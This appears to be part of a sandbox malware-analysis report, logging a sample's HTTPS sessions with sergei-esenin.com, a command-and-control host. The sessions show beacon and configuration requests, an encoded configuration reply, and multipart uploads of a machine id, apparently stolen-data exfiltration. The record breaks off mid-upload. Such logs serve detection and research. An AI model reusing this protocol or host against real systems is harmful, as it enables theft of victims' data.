1	192.168.2.5	49705	172.67.206.204	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:06 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-23 13:48:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-23 13:48:06 UTC	570	IN	HTTP/1.1 403 Forbidden Date: Wed, 23 Oct 2024 13:48:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eX7gCV1K5Dls9MLA9vMjPW0W3%2BKmmI10%2Fqjs%2FAf4Zv17%2B%2ByekZEJGID%2BW4PN%2FdB6zZrjuraK2sIqLptBz4jkkduTdslSO6hpCODsvRTCJxWrDBwqsAw4JdEL%2FqcEozLsQREevQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d722ecf4bac6c4c-DFW
2024-10-23 13:48:06 UTC	799	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-23 13:48:06 UTC	1369	IN	Data Raw: 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 Data Ascii: f="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.g
2024-10-23 13:48:06 UTC	1369	IN	Data Raw: 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 Data Ascii: ning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-23 13:48:07 UTC	907	IN	Data Raw: 32 35 34 2e 32 35 30 2e 39 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 Data Ascii: 254.250.90</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-er
2024-10-23 13:48:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.206.204	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:07 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=5zWGTyt71yoWCR1ydECoD5AF9g9Gr5vuuYLHKF9_nrs-1729691286-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-23 13:48:07 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-23 13:48:08 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e10bl8q9iuvqa40uvanbg7tgpn; expires=Sun, 16 Feb 2025 07:34:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PrhqYuFH%2BU9lwdKk8UudUyr3iZ8B1umEuETXHdmfcjH5YvUlmxVKzBnHepAU0d8Mk9MZ6Ok5KeVladRx%2B2fpHor4ITLXdml5EcpV29akQFdLALpZQEKKgePXB%2FfKaH01%2BYPQPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d722ed46d123476-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1247&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1042&delivery_rate=2267815&cwnd=251&unsent_bytes=0&cid=12580f08d18df21e&ts=492&x=0"
2024-10-23 13:48:08 UTC	351	IN	Data Raw: 63 62 61 0d 0a 77 77 41 66 49 78 55 41 43 45 41 47 6c 41 4f 75 62 57 36 4e 6e 41 58 6f 6d 43 4c 47 38 48 4f 51 50 42 56 36 79 4f 43 6c 6d 33 4b 34 49 6d 6b 42 4c 7a 51 6b 59 6e 58 78 49 5a 51 5a 48 50 6a 35 4b 63 72 35 52 75 54 4b 46 66 46 51 5a 68 2f 6b 77 74 50 32 55 50 6c 6d 66 6b 39 6d 5a 53 52 69 59 2b 77 68 6c 44 59 56 72 2f 6c 72 79 71 49 41 6f 35 6f 52 38 56 42 33 47 36 4f 50 31 66 63 52 71 32 78 34 53 33 42 6a 62 43 46 71 2b 57 62 4c 43 41 2f 6e 38 6d 79 46 38 45 2f 6b 33 46 48 31 52 6a 64 41 36 71 33 41 37 78 4f 4f 59 57 78 49 4e 33 30 6b 4f 79 54 78 62 59 78 58 54 4f 7a 35 5a 34 54 2b 52 71 32 59 47 2f 68 59 64 68 36 69 6b 4d 7a 39 47 71 74 69 65 30 70 36 61 6e 67 73 59 50 35 74 7a 51 49 50 72 37 41 6e 6a 65 49 41 2f 4e 4a 43 77 46 31 6d 43 62 Data Ascii: cbawwAfIxUACEAGlAOubW6NnAXomCLG8HOQPBV6yOClm3K4ImkBLzQkYnXxIZQZHPj5Kcr5RuTKFfFQZh/kwtP2UPlmfk9mZSRiY+whlDYVr/lryqIAo5oR8VB3G6OP1fcRq2x4S3BjbCFq+WbLCA/n8myF8E/k3FH1RjdA6q3A7xOOYWxIN30kOyTxbYxXTOz5Z4T+Rq2YG/hYdh6ikMz9Gqtie0p6angsYP5tzQIPr7AnjeIA/NJCwF1mCb
2024-10-23 13:48:08 UTC	1369	IN	Data Raw: 39 32 62 32 6f 77 62 50 31 71 79 52 30 48 35 76 4e 71 69 76 64 4b 71 35 45 52 39 56 52 39 46 36 43 47 79 76 51 57 6f 57 49 39 44 7a 64 6c 63 6d 49 38 74 6b 4c 4a 48 77 76 6a 36 43 57 77 75 6c 2f 71 69 31 48 31 55 6a 64 41 36 6f 72 43 2b 68 4f 71 62 58 35 4a 66 48 42 71 4d 47 4c 37 5a 4e 34 4a 43 65 48 30 5a 4a 6a 77 54 71 4b 52 47 50 6c 58 63 68 2b 75 77 6f 6d 35 46 37 6b 69 4a 51 46 57 62 32 45 75 62 75 46 68 6a 42 42 43 39 72 35 67 68 72 6f 59 35 4a 59 51 39 6c 39 7a 46 71 53 47 79 2f 38 65 72 47 31 37 53 33 64 6c 59 43 70 73 39 32 7a 48 41 41 7a 71 38 32 4f 4d 39 6b 47 68 30 6c 2b 79 57 57 39 59 38 73 4c 70 2f 68 4f 7a 49 45 68 43 65 57 78 74 4e 43 54 70 4c 39 56 50 43 2b 4f 2b 50 38 72 30 52 61 75 41 45 4f 42 62 65 51 71 6d 68 38 48 30 45 36 39 69 65 Data Ascii: 92b2owbP1qyR0H5vNqivdKq5ER9VR9F6CGyvQWoWI9DzdlcmI8tkLJHwvj6CWwul/qi1H1UjdA6orC+hOqbX5JfHBqMGL7ZN4JCeH0ZJjwTqKRGPlXch+uwom5F7kiJQFWb2EubuFhjBBC9r5ghroY5JYQ9l9zFqSGy/8erG17S3dlYCps92zHAAzq82OM9kGh0l+yWW9Y8sLp/hOzIEhCeWxtNCTpL9VPC+O+P8r0RauAEOBbeQqmh8H0E69ie
2024-10-23 13:48:08 UTC	1369	IN	Data Raw: 74 4e 43 54 70 4c 39 56 50 43 2b 4f 2b 50 38 72 32 53 61 53 5a 47 2f 5a 65 63 42 57 76 67 63 44 36 48 61 5a 6f 63 30 5a 7a 62 6d 4d 76 59 76 5a 6d 79 41 6f 65 36 76 64 72 68 72 6f 4f 35 4a 55 4a 73 67 59 33 4e 36 32 55 78 4e 59 54 73 47 73 39 58 6a 6c 37 4b 69 56 6f 74 6a 6d 4d 43 41 6e 6e 39 57 47 43 2b 6c 4b 68 6e 42 72 7a 56 48 45 5a 70 34 37 42 2b 52 47 68 5a 48 46 42 63 47 56 34 4d 47 48 77 63 38 5a 50 51 71 2f 35 66 38 71 69 41 4a 4b 43 42 75 4e 49 4e 53 32 70 6a 4d 6e 2b 42 75 46 39 4d 31 67 33 5a 57 5a 69 50 4c 5a 71 7a 41 4d 4c 35 2f 68 6a 67 76 56 50 72 59 41 51 2f 6c 42 6c 48 36 71 4c 79 66 59 63 71 47 39 36 54 48 78 6f 5a 79 5a 6a 39 79 47 43 54 77 76 33 76 6a 2f 4b 7a 46 43 70 6e 6a 2f 35 55 6e 35 59 74 63 7a 65 75 52 65 74 49 69 55 42 63 32 Data Ascii: tNCTpL9VPC+O+P8r2SaSZG/ZecBWvgcD6HaZoc0ZzbmMvYvZmyAoe6vdrhroO5JUJsgY3N62UxNYTsGs9Xjl7KiVotjmMCAnn9WGC+lKhnBrzVHEZp47B+RGhZHFBcGV4MGHwc8ZPQq/5f8qiAJKCBuNINS2pjMn+BuF9M1g3ZWZiPLZqzAML5/hjgvVPrYAQ/lBlH6qLyfYcqG96THxoZyZj9yGCTwv3vj/KzFCpnj/5Un5YtczeuRetIiUBc2
2024-10-23 13:48:08 UTC	176	IN	Data Raw: 38 6d 54 4a 43 77 76 72 2b 47 6a 4b 74 41 43 6a 69 6c 47 71 48 6c 67 2f 6e 38 44 6d 77 31 43 2b 4c 47 51 42 63 47 34 71 65 69 54 36 59 73 41 48 41 2b 6e 33 61 34 44 7a 53 36 69 5a 46 66 35 58 63 68 36 72 68 38 4c 34 46 4b 31 6f 65 30 4a 30 62 57 55 74 62 4c 59 76 6a 41 67 55 72 36 59 6e 72 2b 31 4c 71 70 52 52 37 52 42 75 57 4b 32 4f 68 36 46 51 72 57 74 37 52 33 4a 75 61 79 52 73 38 32 6e 49 44 67 72 70 2f 57 69 4f 2f 30 47 72 6c 68 33 38 56 48 59 5a 70 6f 6e 49 38 68 58 68 4c 44 31 47 62 79 49 79 59 6c 58 31 64 39 0d 0a Data Ascii: 8mTJCwvr+GjKtACjilGqHlg/n8Dmw1C+LGQBcG4qeiT6YsAHA+n3a4DzS6iZFf5Xch6rh8L4FK1oe0J0bWUtbLYvjAgUr6Ynr+1LqpRR7RBuWK2Oh6FQrWt7R3JuayRs82nIDgrp/WiO/0Grlh38VHYZponI8hXhLD1GbyIyYlX1d9
2024-10-23 13:48:08 UTC	1369	IN	Data Raw: 33 37 62 32 0d 0a 73 66 41 4b 2f 68 4b 5a 4f 36 52 36 6a 53 53 62 4a 66 5a 52 4b 67 6a 4d 4c 32 46 61 4a 74 65 6b 78 78 62 6d 41 72 62 50 42 75 78 52 30 50 34 2f 42 67 68 50 5a 4f 71 5a 67 53 2f 78 34 35 57 4b 32 61 68 36 46 51 6a 57 56 77 62 33 78 75 62 57 4a 37 75 48 69 4d 43 41 43 76 70 69 65 47 38 45 79 74 6b 68 6a 33 56 6e 77 52 72 34 50 4d 2f 42 4f 6e 62 33 4a 49 5a 57 68 70 4c 47 66 36 62 63 6f 4f 44 2f 33 32 62 73 71 30 41 4b 4f 4b 55 61 6f 65 56 68 61 6e 6c 73 44 70 55 4c 34 73 5a 41 46 77 62 69 70 36 4a 50 56 67 77 77 77 4e 34 76 68 75 67 76 70 47 6f 5a 30 63 2f 46 6c 77 47 4b 65 4d 79 50 38 59 72 47 35 32 54 33 35 6b 61 69 4e 75 74 69 2b 4d 43 42 53 76 70 69 65 36 2b 55 43 6b 69 56 48 74 45 47 35 59 72 59 36 48 6f 56 43 7a 61 48 52 42 64 47 31 Data Ascii: 37b2sfAK/hKZO6R6jSSbJfZRKgjML2FaJtekxxbmArbPBuxR0P4/BghPZOqZgS/x45WK2ah6FQjWVwb3xubWJ7uHiMCACvpieG8Eytkhj3VnwRr4PM/BOnb3JIZWhpLGf6bcoOD/32bsq0AKOKUaoeVhanlsDpUL4sZAFwbip6JPVgwwwN4vhugvpGoZ0c/FlwGKeMyP8YrG52T35kaiNuti+MCBSvpie6+UCkiVHtEG5YrY6HoVCzaHRBdG1
2024-10-23 13:48:08 UTC	1369	IN	Data Raw: 32 7a 43 41 51 76 35 76 6e 6a 45 34 77 43 6a 6e 6c 47 71 48 6e 59 55 70 59 48 49 2b 68 4f 67 61 47 39 54 65 32 74 69 4a 32 6a 39 62 38 6f 64 43 75 44 33 5a 49 6e 7a 52 36 79 65 47 2f 46 5a 4e 31 62 71 68 64 2b 35 53 4f 46 42 61 6c 46 36 49 6e 56 73 66 62 5a 6d 77 45 39 55 72 2f 5a 71 67 76 42 45 6f 35 38 57 39 46 64 6c 45 61 2b 4d 78 2f 30 62 72 6d 52 35 51 6e 64 77 62 43 5a 73 39 57 7a 42 41 51 2f 72 76 69 6e 4b 2f 56 6a 6b 79 6c 48 41 55 33 6b 44 70 59 58 57 38 31 43 2b 4c 47 51 42 63 47 34 71 65 69 54 79 62 39 34 45 44 65 54 31 61 59 33 31 52 61 36 53 48 76 5a 64 65 52 4f 72 67 63 2f 30 48 61 39 6f 64 45 68 77 62 6d 34 6c 4a 4c 67 68 79 78 64 4d 74 37 35 4d 71 39 64 73 6f 34 68 52 37 52 42 75 57 4b 32 4f 68 36 46 51 72 57 74 78 53 33 78 6c 59 43 78 74 Data Ascii: 2zCAQv5vnjE4wCjnlGqHnYUpYHI+hOgaG9Te2tiJ2j9b8odCuD3ZInzR6yeG/FZN1bqhd+5SOFBalF6InVsfbZmwE9Ur/ZqgvBEo58W9FdlEa+Mx/0brmR5QndwbCZs9WzBAQ/rvinK/VjkylHAU3kDpYXW81C+LGQBcG4qeiTyb94EDeT1aY31Ra6SHvZdeROrgc/0Ha9odEhwbm4lJLghyxdMt75Mq9dso4hR7RBuWK2Oh6FQrWtxS3xlYCxt
2024-10-23 13:48:08 UTC	1369	IN	Data Raw: 38 46 36 76 4a 6b 69 76 35 47 72 5a 51 53 39 68 34 35 57 4b 32 61 68 36 46 51 6a 47 35 36 61 48 42 35 4b 6a 30 71 37 79 48 4c 41 30 79 33 76 6d 61 42 38 45 2b 70 6b 52 66 78 56 58 49 53 71 34 58 50 39 41 4b 69 62 58 4a 46 64 32 31 73 4a 47 58 35 5a 38 73 47 44 65 66 35 4a 38 53 36 52 37 7a 53 53 62 4a 77 63 42 75 75 77 74 69 33 43 65 46 6c 63 51 45 76 49 6d 6f 6f 62 76 78 76 7a 41 67 65 36 66 64 6e 69 65 68 44 6f 70 6f 58 2f 6c 4a 36 45 4b 4f 43 77 76 49 64 71 6d 39 37 51 58 78 6a 4b 6d 77 6b 38 58 6d 4d 56 30 7a 65 38 32 6d 4f 39 45 4f 30 6c 56 48 74 45 47 35 59 72 59 36 48 6f 56 43 75 61 32 39 47 63 6d 70 6a 49 6d 72 2f 61 4d 73 4c 44 2b 37 36 61 34 58 7a 51 36 79 54 47 66 31 64 64 78 4f 69 69 4d 62 33 46 65 45 73 50 55 5a 76 49 6a 4a 69 53 2f 56 6b 78 Data Ascii: 8F6vJkiv5GrZQS9h45WK2ah6FQjG56aHB5Kj0q7yHLA0y3vmaB8E+pkRfxVXISq4XP9AKibXJFd21sJGX5Z8sGDef5J8S6R7zSSbJwcBuuwti3CeFlcQEvImoobvxvzAge6fdniehDopoX/lJ6EKOCwvIdqm97QXxjKmwk8XmMV0ze82mO9EO0lVHtEG5YrY6HoVCua29GcmpjImr/aMsLD+76a4XzQ6yTGf1ddxOiiMb3FeEsPUZvIjJiS/Vkx
2024-10-23 13:48:08 UTC	1369	IN	Data Raw: 32 4a 37 57 30 41 4c 7a 53 53 62 4a 72 64 42 61 6b 68 64 48 6f 58 59 5a 34 63 45 64 67 63 79 70 73 4a 50 41 68 6c 46 39 43 72 2f 70 32 79 71 49 51 39 73 6c 45 6f 51 6b 6e 53 72 58 4d 33 72 6b 47 34 54 6f 76 44 7a 64 77 4b 6e 6f 6b 73 57 4c 65 48 51 72 73 36 47 54 4e 78 48 36 4b 6c 52 66 33 57 57 64 61 68 49 6e 54 2f 6c 44 76 49 6e 49 42 4c 31 73 71 61 69 54 4a 4c 34 77 58 54 4c 65 2b 55 6f 6e 30 54 71 4f 45 41 4c 39 77 63 42 36 76 68 64 65 37 50 71 70 32 65 67 45 35 49 6d 78 69 50 4b 59 76 6a 41 73 64 72 36 59 33 32 4b 45 56 39 38 56 42 6f 45 45 35 41 65 71 55 68 36 46 43 37 79 4a 76 41 53 38 69 4c 53 46 32 35 47 66 50 47 51 2b 6f 77 46 6d 4a 37 45 32 72 6d 52 44 4d 59 46 6b 56 71 34 48 4a 75 79 47 33 62 32 31 43 63 6d 56 55 48 47 72 78 64 63 73 42 43 75 Data Ascii: 2J7W0ALzSSbJrdBakhdHoXYZ4cEdgcypsJPAhlF9Cr/p2yqIQ9slEoQknSrXM3rkG4TovDzdwKnoksWLeHQrs6GTNxH6KlRf3WWdahInT/lDvInIBL1sqaiTJL4wXTLe+Uon0TqOEAL9wcB6vhde7Pqp2egE5ImxiPKYvjAsdr6Y32KEV98VBoEE5AeqUh6FC7yJvAS8iLSF25GfPGQ+owFmJ7E2rmRDMYFkVq4HJuyG3b21CcmVUHGrxdcsBCu
2024-10-23 13:48:08 UTC	1369	IN	Data Raw: 2f 41 44 38 77 46 2b 79 57 6d 5a 59 38 74 4b 56 6f 6b 58 79 4e 53 30 54 61 43 78 7a 59 6e 4b 32 4f 5a 35 42 54 50 32 2b 50 38 71 39 51 37 61 41 46 2f 46 49 64 46 2b 55 76 4f 44 33 46 36 42 30 62 55 78 37 51 32 6b 7a 62 73 68 66 32 51 77 43 34 66 6c 78 6d 37 6f 4f 35 4a 31 52 71 6d 63 33 55 4f 71 39 69 62 6b 49 34 54 6f 39 64 48 52 73 5a 43 56 79 35 79 7a 72 41 51 76 75 36 48 65 48 39 6d 47 6e 67 78 75 79 45 44 63 65 36 74 71 56 74 31 43 6c 63 7a 30 5a 4a 7a 41 78 64 7a 65 68 4d 5a 34 51 51 76 61 2b 63 63 71 69 45 75 72 53 41 37 49 47 4e 31 2b 70 6b 4e 58 2f 45 37 64 68 4f 6e 39 4a 52 33 30 68 64 50 42 69 38 6a 45 6e 34 2f 68 67 6b 50 31 47 67 72 4a 52 76 42 35 34 57 50 4b 37 68 37 46 51 6e 69 77 39 57 54 63 36 4b 68 64 6e 2b 47 2f 4c 47 52 32 69 32 33 43 Data Ascii: /AD8wF+yWmZY8tKVokXyNS0TaCxzYnK2OZ5BTP2+P8q9Q7aAF/FIdF+UvOD3F6B0bUx7Q2kzbshf2QwC4flxm7oO5J1Rqmc3UOq9ibkI4To9dHRsZCVy5yzrAQvu6HeH9mGngxuyEDce6tqVt1Clcz0ZJzAxdzehMZ4QQva+ccqiEurSA7IGN1+pkNX/E7dhOn9JR30hdPBi8jEn4/hgkP1GgrJRvB54WPK7h7FQniw9WTc6Khdn+G/LGR2i23C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.206.204	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:08 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=5zWGTyt71yoWCR1ydECoD5AF9g9Gr5vuuYLHKF9_nrs-1729691286-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: sergei-esenin.com
2024-10-23 13:48:08 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 39 45 46 37 32 38 45 43 43 38 31 41 44 34 34 30 38 45 41 35 33 37 32 32 42 31 46 39 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A69EF728ECC81AD4408EA53722B1F9E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 13:48:09 UTC	1024	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2gfq85f8un28r63el65ipe2k3t; expires=Sun, 16 Feb 2025 07:34:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bxi3VgJ%2BzxPIox0PUg1Cp3V%2BPULf9fq4bl3OmZCBXAg1vxnUj6L8023MP1HmkucLRpAfJ1FKbqiw42sllOQDkY%2BjjZICbsf5xpeG5xF6Sk%2FdRwbbvbrm2uQkzdWP%2Fio25vqB8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d722edca8632cb2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1316&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13870&delivery_rate=2182366&cwnd=251&unsent_bytes=0&cid=5f7096990ca1b76a&ts=557&x=0"
2024-10-23 13:48:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 13:48:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.206.204	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:10 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=5zWGTyt71yoWCR1ydECoD5AF9g9Gr5vuuYLHKF9_nrs-1729691286-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: sergei-esenin.com
